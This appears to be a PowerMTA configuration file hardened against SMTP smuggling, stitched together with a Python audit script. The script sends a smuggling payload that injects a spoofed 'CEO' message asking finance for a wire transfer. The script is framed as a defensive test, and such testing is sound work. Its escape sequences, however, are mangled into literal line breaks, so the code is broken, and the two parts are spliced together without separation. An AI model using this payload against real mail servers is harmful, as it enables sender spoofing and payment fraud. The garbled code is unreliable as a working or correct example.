# ==============================================================================
# SMTP SMUGGLING DEFENSE CONFIGURATION (RFC 5321 COMPLIANCE)
# ==============================================================================

# 1. Global Socket Enforcement
# Rejects incoming connections attempting to pipeline commands without EHLO negotiation
smtp-greeting-strict-syntax yes

# 2. Strict Line Terminator Enforcement on Inbound Submissions
<source 0/0>
    # Require RFC-standard <CR><LF> line terminators exclusively
    disallow-bare-newlines yes
    
    # Reject malformed or truncated end-of-data sequences
    strict-smtp-syntax yes
    
    # Terminate TCP connection immediately upon protocol violation
    disconnect-on-syntax-error yes
    
    # Limit pipelined commands before server response
    max-pipelined-commands 100
    
    # Log syntax violations for forensic inspection
    log-syntax-errors yes
</source>

# 3. Dedicated Hardened Source for Customer Submission Ports (587 / 465)
<source 10.0.0.0/8>
    smtp-service yes
    always-allow-relaying no
    require-auth yes
    disallow-bare-newlines yes
    strict-smtp-syntax yes
    disconnect-on-syntax-error yes
</source>

# 4. Outbound Pipeline Normalization
# Guarantees PowerMTA strictly normalizes all outbound message data to standard <CR><LF>
<domain *>
    use-starttls yes
    require-starttls-before-auth yes
    smtp-normalize-newlines yes
</domain>

import socket
import ssl

TARGET_HOST = "mail.yourdomain.com"
TARGET_PORT = 25

# Raw payload containing illegal <LF>.<CR><LF> line ending sequence
exploit_payload = (
    b"EHLO audit.autosmtp.io

"
    b"MAIL FROM:<auditor@autosmtp.io>

"
    b"RCPT TO:<test@yourdomain.com>

"
    b"DATA

"
    b"Subject: Security Audit Probe

"
    b"

"
    b"Legitimate Message Body Line 1
"
    b".

"  # Smuggled end-of-data marker (bare LF before dot)
    b"MAIL FROM:<spoofed-ceo@yourdomain.com>

"
    b"RCPT TO:<finance@yourdomain.com>

"
    b"DATA

"
    b"Subject: Smuggled Wire Request

"
    b"

"
    b"This message should be rejected!

"
    b".

"
    b"QUIT

"
)

print(f"Connecting to {TARGET_HOST}:{TARGET_PORT}...")
s = socket.create_connection((TARGET_HOST, TARGET_PORT), timeout=10)
print(s.recv(1024).decode())

s.sendall(exploit_payload)
while True:
    try:
        response = s.recv(1024)
        if not response:
            break
        print(response.decode(errors='ignore'))
    except socket.timeout:
        break
s.close()

# VERIFICATION EXPECTATION:
# Hardened PowerMTA will return:
# "501 5.5.4 Syntax error: bare linefeed not permitted"
# followed by immediate socket termination.